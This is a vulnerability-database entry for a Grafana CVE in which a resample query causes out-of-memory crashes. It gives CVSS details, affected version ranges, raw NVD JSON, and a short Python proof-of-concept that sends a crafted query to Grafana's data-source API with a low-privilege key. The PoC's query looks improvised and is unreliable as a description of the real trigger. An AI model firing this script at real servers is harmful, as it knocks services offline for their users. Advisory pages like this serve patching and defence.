Security Vulnerability Report
中文
CVE-2026-27879 CVSS 6.5 MEDIUM

CVE-2026-27879

Published: 2026-03-27 15:16:51
Last Modified: 2026-03-31 18:56:32

Description

A resample query can be used to trigger out-of-memory crashes in Grafana.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - VULNERABLE
Grafana (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Grafana Resample Query OOM PoC # Date: 2026-03-27 # CVE: CVE-2026-27879 def trigger_oom(target_url, api_key): headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Malicious query designed to trigger memory exhaustion via resample payload = { "queries": [ { "refId": "A", "datasource": {"type": "grafana-example-datasource", "uid": "grafana"}, "rawSql": "SELECT * FROM metric WHERE time > now() - 1d resample(1ms)", "format": "table" } ] } try: response = requests.post(target_url, json=payload, headers=headers) print(f"Request sent. Status: {response.status_code}") except Exception as e: print(f"Potential crash or connection error: {e}") if __name__ == "__main__": target = "http://localhost:3000/api/ds/query" token = "YOUR_LOW_PRIVILEGE_API_KEY" trigger_oom(target, token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27879", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:51.187", "lastModified": "2026-03-31T18:56:31.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A resample query can be used to trigger out-of-memory crashes in Grafana."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0", "matchCriteriaId": "7B51404F-9207-4B3D-B9A8-5D7A4CC69C82"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.6.14", "versionEndExcluding": "12.0.0", "matchCriteriaId": "5845D5E9-8631-4F0B-B100-24DCDE4C8C1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.10", "versionEndExcluding": "12.2.0", "matchCriteriaId": "AE3F977F-FF94-4A15-918C-54241EC49560"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.8", "versionEndExcluding": "12.3.0", "matchCriteriaId": "CB499815-0B44-4BF9-AB14-F7272EF0173F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.3.6", "versionEndExcluding": "12.4.0", "matchCriteriaId": "7F2B145A-24E0-4C0F-BF82-FFD2B1301B51"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-27879", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}